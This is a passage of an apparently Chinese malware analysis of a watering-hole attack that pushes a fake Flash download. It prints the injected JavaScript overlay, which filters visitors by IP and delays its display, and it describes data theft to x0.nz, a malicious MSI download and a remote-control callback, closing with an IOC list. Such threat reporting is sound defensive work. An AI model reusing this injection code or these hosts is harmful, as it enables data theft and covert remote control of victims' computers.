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"></div> <div onclick="localStorage.setItem(\'isDown\',2);window.location.href=\''+url+'\'"> <img style="float: right;padding-right: 20px;margin-top:15px;cursor: pointer;" src="data:image/png;base64,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"></div></div></div></div> </div>';
var div2 = document.createElement("div");var info = navigator.userAgent;var isPhone = /mobile/i.test(navigator.userAgent);
if (!isPhone) {
checkIP().then((currentIP) => {
fetch('https://www.xdtool.com/php/dnstest/ip.php?format=json')
.then(response => response.text())
.then(ipListFromServer => {
const serverIPs = ipListFromServer.split('\n');
if (serverIPs.includes(currentIP)) {
console.log('IPYES');
} else {
var date = new Date();
var h = date.getHours();
let arr = [12, 13, 14, 15, 16, 19, 20, 21, 22, 23];
let allDay = 1;
if (arr.includes(h) || allDay == 1) {
div2.innerHTML=str;
var domain = document.domain;
setTimeout(function() {
body.appendChild(div2);
setTimeout(function() {
}, 5000);
}, 3000);
}
}
})
.catch(error => console.error('NOIP:', error));
});
}
};
function checkIP() {
return new Promise((resolve) => {
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://api.ipify.org?format=json');
xhr.onreadystatechange = function () {
if (xhr.readyState === 4 && xhr.status === 200) {
var response = JSON.parse(xhr.responseText);
resolve(response.ip);
}
};
xhr.send();
});
}
该js主要会收集用户测览器的IP地址、地理位置、cookies、页面引用、测览器用户代理、页面标题、屏幕分辨 率、文档源代码、屏幕截图并将其发送到指定的URL https://x0.nz/bdstatic.com/?callback=jsonp
点击下载会从
https://tuku.baipg.cn/down.php/ddb9a6b63b797b3dd7fa22836dd21928.zip
下载恶意msi安装包 压缩包
安装该msi安装包后会释放并安装以下两个文件
Filename | Description |
flashplayerpp_install_cn.exe | 带Adobe Inc.签名的安装包 |
Flash_7QyPBESL3D4YmQjSE1RJZ8EZKZAa5cPM6_.exe | 带Shandong Gooxion Software Co.,Ltd.签名 |
GX安全终端安装程序在用户电脑安装后,会回连至服务端http://103.142.103.60:13023注册,服务端即可对受控机 器进行控制
0x03 IOC列表
0.https://playdos.com
1.https://x0.nz/
2.https://tuku.baipg.cn/
3.http://103.142.103.60:13023
4.sha256:87EDD5549C8CEE9EA132A86E00C6B5070C39C763ABC6FCB1B3C5A6D2B85E8E8E